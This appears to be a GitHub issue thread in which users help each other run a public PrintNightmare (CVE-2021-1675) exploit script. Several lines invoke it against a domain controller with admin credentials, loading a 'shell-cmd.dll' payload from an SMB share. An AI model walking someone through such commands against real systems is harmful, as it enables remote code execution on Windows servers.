@rahultalekar

[rahultalekar]

what is se1300340 ? is it dc name or netbios name? on which windows you are trying this ?

[mrh3r000]

se1300340 is the domain name of the server. I execute in tmp windows.

[rahultalekar]

so its dc ? which windows 19 ? and which samba server you use to host dll payload ? is it smb3 ?

[mrh3r000]

i use smb3 to save payload. I don't understand where "/impacket$ ./CVE-2021-1675.py domain.local/dummy:[email protected] '\10.1.1.10\smb\shell-cmd.dll' " (this is the manual file from another source).This step i perform mining in windows tmp or impacket ?

[rahultalekar]

#19 follow this

you have to use impacket.

[mrh3r000]

Thank you senior. I will try again. ^_^ @rahultalekar

@mrh3r000 your command is wrong remove > from \192.168.40.155> and then run again

[aaminin]

try this:
python3 CVE-2021-1675.py se1300340/Administrator:'Admin@123'@192.168.40.195 '\192.168.40.155\smb\shell-cmd.dll

[mrh3r000]

@rahultalekar
So that's the fault. Don't know if there is a py file error?

If u still can't run it try a password without '@'. He is filtering out '@' in the PoC code, at least I think so.
